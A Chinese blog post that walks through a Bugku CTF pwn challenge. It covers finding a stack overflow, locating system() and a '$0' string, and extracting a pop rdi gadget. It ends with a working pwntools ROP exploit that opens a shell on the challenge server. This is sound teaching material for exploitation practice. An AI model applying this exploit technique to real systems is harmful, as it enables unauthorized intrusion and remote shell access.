本文已参与「新人创作礼」活动,一起开启掘金创作之路。
准备:
可以看到程序没有开任何的保护
运行测试了一下,有一个输入数据的点
IDA
定位到主函数,很明显这里的 s 可以作为溢出的点
浏览了一下找到了system函数,kaix…
找找rop点,查看一下字符串
刚开始也很懵逼,找了一下/bin/bash 没找到,去看了wp,原来这里的0')的效果是一样的。
这样我们就可以借用'$0'来溢出拿到shell
OK现在我们有了栈溢出点,有了system函数,有了字符串“$0”,可以尝试开shell了。首先我们要解决传参数的问题。和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。
这里我们通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段,再通过指定字符串--string来找到'$0'的地址
找到了pop rdi; ret 的地址,我们到IDA里面去看一下
发现没有我们找到的4007d3
这里我们选中4007d2 按快捷键D转换成数据,4007d3就出来了
然后选中4007d3 按快捷键C 转换成代码,这里我们的pop rdi就出来了
我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。
继续,言归正传
ok到这里所有的问题都解决了 可以构建ROP链了
#!/bugku/pwn/pwn4/exp.py
#coding:utf-8
#beglage
from pwn import *
io = remote("114.116.54.89",10004)
call_system_ads = 0x40075A # call _system
binsh = 0x60111f # '$0'
pop_rdi = 0x4007d3 # pop rdi; ret
payload = ""
payload += "a" * 0x10 + "a" * 0x08
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(call_system_ads)
io.sendline(payload)
io.interactive()
参考博文:www.cnblogs.com/ichunqiu/p/…